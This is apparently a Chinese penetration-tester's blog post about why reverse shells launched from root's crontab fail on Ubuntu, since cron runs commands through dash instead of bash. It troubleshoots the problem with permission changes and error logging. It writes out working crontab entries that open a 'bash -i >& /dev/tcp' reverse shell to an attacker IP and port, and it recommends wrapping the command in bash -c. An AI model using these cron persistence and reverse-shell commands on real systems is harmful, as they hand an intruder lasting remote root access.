目录

Ubuntu的命令执行环境

bash (Bourne Again SHell):

sh (Bourne SHell):

dash (Debian Almquist SHell):

它们之间的关系：

可能遇到的问题

一、脚本权限问题

二、命令执行环境(shell解释器)问题

如何解决？

1.修改/bin/sh软连接的指向为bash

2.编写shell脚本文件并执行

3.bash -c参数指定shell解释器

---

相信各位师傅在平时渗透过程中会遇到ubuntu任务计划反弹shell失败的情况，本文就这一问题浅析一下

Ubuntu的命令执行环境

在分析问题之前，我们先来讨论一下ubuntu中的bash、sh和dash的关系

这是chatgpt-4o的回答：

在Ubuntu系统中，bash、sh、dash都是常见的Shell解释器，它们之间有一些区别和联系：

1. bash (Bourne Again SHell):

   • bash是GNU项目的一个Unix shell，它是sh（Bourne shell）的替代品。
   • bash兼容sh，并且提供了许多增强功能，例如更丰富的编程结构、更强大的命令行编辑和历史记录功能。
   • 默认情况下，Ubuntu系统中的终端会话使用的是bash。

2. sh (Bourne SHell):

   • sh是最初由Stephen Bourne在1977年开发的Unix shell。
   • sh语法较为简单，但功能有限。
   • 在现代Linux系统中，sh通常是指向另一个shell的符号链接。在Ubuntu中，这个符号链接通常指向dash。

3. dash (Debian Almquist SHell):

   • dash是一个POSIX兼容的Shell，旨在比bash更轻量级和更快速。
   • dash是ash（Almquist Shell）的一个变种。
   • 在Ubuntu中，默认的/bin/sh是指向dash的符号链接。这是为了提高系统启动和脚本执行的速度。
   • 尽管dash在性能上有优势，但它不支持bash的一些特性，因此某些脚本可能无法在dash中正确运行。

它们之间的关系：

• sh通常是指向dash的符号链接（在Ubuntu系统中）。
• dash是一个轻量级、快速的POSIX兼容Shell，被用作系统默认的/bin/sh。
• bash是sh的增强版本，提供了更多功能，并且是用户默认的交互式Shell。

总结来说，Ubuntu选择使用dash作为系统默认的sh来加快启动速度，而用户交互式Shell仍然使用功能更强大的bash

也就是说，之所以使用crontab反弹不了shell，就是因为crontab使用的是系统的默认执行环境dash(centos中是bash)，找不到/bin/bash环境

但是用户交互式的shell还是使用的是bash，这就是为什么有些师傅直接输入反弹shell的命令是可以成功反弹的，而同样的命令crontab却不行

接下来通过例子来分析反弹shell中可能遇到的问题

可能遇到的问题

我们先用下面的脚本来尝试反弹shell，写到/var/spool/cron/crontabs/root中

* * * * * 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'

攻击机监听，过了一分钟后发现并没有回弹 

一、脚本权限问题

查看syslog

tail /var/log/syslog

提示root脚本是一个不安全的模式，模式应该是0600

我们根据它的报错来修改权限，改为0600

然后等待1分钟，查看是否能回弹shell

二、命令执行环境(shell解释器)问题

发现仍然没有回弹，同样查看日志

可以看到crontab其实是执行了命令的，但是因为命令执行报错，系统想输出到邮件中，但没有安装邮件传输代理(MTA)，因此cron任务的输出被丢弃

根据日志我们可以修改一下脚本，将 标准错误输出 输出到/tmp/error.txt文件中

* * * * * 'bash -i >& /dev/tcp/192.168.239.129/2333 0>&1' >/tmp/error.txt 2>&1

等待一分钟，查看/tmp/error.txt文件

可以看到错误提示 /bin/sh找不到bash命令

这就是我们前面讲到的ubuntu的默认shell解释器是sh，而sh是dash的一个软链接

dash找不到bash命令所以报错，但是ubuntu中没有bash环境吗？

很显然是有的，我们使用的用户交互shell就是bash环境

既然相对路径找不到，我们可以用绝对路径/bin/bash，不就可以找到了吗？

修改脚本

* * * * * '/bin/bash -i >& /dev/tcp/192.168.239.129/2333 0>&1' >/tmp/error.txt 2>&1

等待一分钟后发现依然不能反弹，查看错误信息

仍然显示找不到命令

这里的错误原因其实和上面一样，这不是路径的问题，而是默认的shell解释器根本就不是bash，如果是默认是bash，可能会存在这样的路径问题

如何解决？

1.修改/bin/sh软连接的指向为bash

（此方法是其他博客写的，尝试了很久不成功）

ln -s -f bash /bin/sh

这种方法可以将默认shell解释器修改为bash

理论上是可以成功反弹的，但是我尝试了很多遍依旧失败，依旧显示命令找不到

2.编写shell脚本文件并执行

我们可以避免在crontab中直接执行命令，可以先编写一个反弹shell的脚本，然后在计划任务中执行脚本，避免直接在计划任务中执行，这样就不会使用默认的sh环境了

记得chmod加上执行权限

chmod +x /tmp/1.sh

成功反弹

3.bash -c参数指定shell解释器

这个方法是我比较推荐的方式，不需要多余的操作，可以直接在计划任务中执行，只需加上bash -c参数指定shell解释器即可

* * * * * bash -c '/bin/bash -i >& /dev/tcp/192.168.239.129/2333 0>&1'

bash -c 表示使用bash作为shell解释器，然后-c选项表示后面跟随的是要执行的命令字符串

注意：计划任务的执行文件仍需要0600的权限，不然也反弹不了